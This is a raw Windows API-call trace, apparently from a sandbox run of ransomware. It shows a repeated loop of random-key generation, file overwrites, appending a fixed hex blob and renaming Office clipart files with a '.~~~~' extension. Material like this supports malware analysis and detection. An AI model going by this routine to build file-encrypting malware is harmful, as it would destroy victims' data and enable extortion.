	[0108.539] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.539] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.540] GetLastError () returned 0x0
	[0108.540] GetLastError () returned 0x0
	[0108.540] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.540] GetLastError () returned 0x0
	[0108.540] GetLastError () returned 0x0
	[0108.588] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff8786, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.588] WriteFile (in: hFile=0x128, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x787a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x25dfec0*=0x787a, lpOverlapped=0x0) returned 1
	[0108.589] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0108.593] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.593] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.593] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.593] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.593] CloseHandle (hObject=0x128) returned 1
	[0108.597] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a48b8
	[0108.597] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg.~~~~")) returned 1
	[0108.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a48b8 | out: hHeap=0x300000) returned 1
	[0108.599] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.599] GetLastError () returned 0x0
	[0108.599] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942208) returned 1
	[0108.601] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.601] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.601] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22859095122) returned 1
	[0108.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa6444d0, dwHighDateTime=0x1d60e1e)) 
	[0108.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28081e0
	[0108.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28081e0 | out: hHeap=0x300000) returned 1
	[0108.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a48b8
	[0108.601] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.601] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829428
	[0108.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a48b8 | out: hHeap=0x300000) returned 1
	[0108.602] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.602] GetLastError () returned 0x0
	[0108.602] GetLastError () returned 0x0
	[0108.602] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.602] GetLastError () returned 0x0
	[0108.602] GetLastError () returned 0x0
	[0108.607] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffc696, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.607] WriteFile (in: hFile=0x140, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x396a, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x25dfec0*=0x396a, lpOverlapped=0x0) returned 1
	[0108.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.608] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.608] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.609] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.609] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.609] CloseHandle (hObject=0x140) returned 1
	[0108.609] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a48b8
	[0108.609] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg.~~~~")) returned 1
	[0108.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a48b8 | out: hHeap=0x300000) returned 1
	[0108.610] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.610] GetLastError () returned 0x0
	[0108.611] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942208) returned 1
	[0108.612] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.612] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.612] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.612] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.612] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22860261847) returned 1
	[0108.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa6444d0, dwHighDateTime=0x1d60e1e)) 
	[0108.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808218
	[0108.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808218 | out: hHeap=0x300000) returned 1
	[0108.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a48b8
	[0108.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.613] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28295f0
	[0108.613] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a48b8 | out: hHeap=0x300000) returned 1
	[0108.613] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.614] GetLastError () returned 0x0
	[0108.614] GetLastError () returned 0x0
	[0108.614] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.614] GetLastError () returned 0x0
	[0108.614] GetLastError () returned 0x0
	[0108.619] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff96c2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.619] WriteFile (in: hFile=0x140, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x693e, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x25dfec0*=0x693e, lpOverlapped=0x0) returned 1
	[0108.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.621] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.621] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.621] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.621] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.621] CloseHandle (hObject=0x140) returned 1
	[0108.621] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.621] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg.~~~~")) returned 1
	[0108.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.622] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.623] GetLastError () returned 0x0
	[0108.623] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942290) returned 1
	[0108.624] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0108.624] CryptReleaseContext (hProv=0x2942290, dwFlags=0x0) returned 1
	[0108.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0108.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.625] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22861480840) returned 1
	[0108.625] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa66a630, dwHighDateTime=0x1d60e1e)) 
	[0108.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2808288
	[0108.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808288 | out: hHeap=0x300000) returned 1
	[0108.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.625] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2829688
	[0108.625] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.625] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.626] GetLastError () returned 0x0
	[0108.626] GetLastError () returned 0x0
	[0108.626] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.626] GetLastError () returned 0x0
	[0108.626] GetLastError () returned 0x0
	[0108.753] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff9314, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.753] WriteFile (in: hFile=0x140, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x6cec, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x25dfec0*=0x6cec, lpOverlapped=0x0) returned 1
	[0108.765] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.765] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.765] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.765] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.765] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.765] CloseHandle (hObject=0x140) returned 1
	[0108.765] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.765] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387578.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387578.jpg.~~~~")) returned 1
	[0108.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.766] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.766] GetLastError () returned 0x0
	[0108.767] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942208) returned 1
	[0108.768] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.768] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.768] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22875817398) returned 1
	[0108.768] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa7c1290, dwHighDateTime=0x1d60e1e)) 
	[0108.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39df18
	[0108.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.768] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39df18 | out: hHeap=0x300000) returned 1
	[0108.768] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
	[0108.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0108.769] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28297b8
	[0108.769] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.769] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0108.769] GetLastError () returned 0x0
	[0108.769] GetLastError () returned 0x0
	[0108.769] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0108.769] GetLastError () returned 0x0
	[0108.769] GetLastError () returned 0x0
	[0108.772] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffe92d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0108.772] WriteFile (in: hFile=0x140, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x16d3, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x25dfec0*=0x16d3, lpOverlapped=0x0) returned 1
	[0108.773] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0108.773] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0108.773] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0108.774] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0108.774] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0108.774] CloseHandle (hObject=0x140) returned 1
	[0108.774] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2bd8
	[0108.774] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.~~~~")) returned 1
	[0108.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2bd8 | out: hHeap=0x300000) returned 1
	[0108.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0108.775] GetLastError () returned 0x0
	[0108.776] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x2942208) returned 1
	[0108.777] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0108.777] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0108.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0108.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0108.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0108.778] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=22876778646) returned 1
	[0108.778] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xaa7e73f0, dwHighDateTime=0x1d60e1e)) 
	[0108.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0108.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0108.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0108.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39df50
	[0108.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0108.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39df50 | out: hHeap=0x300000) returned 1
	[0108.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0108.778] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0108.778] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2bd8
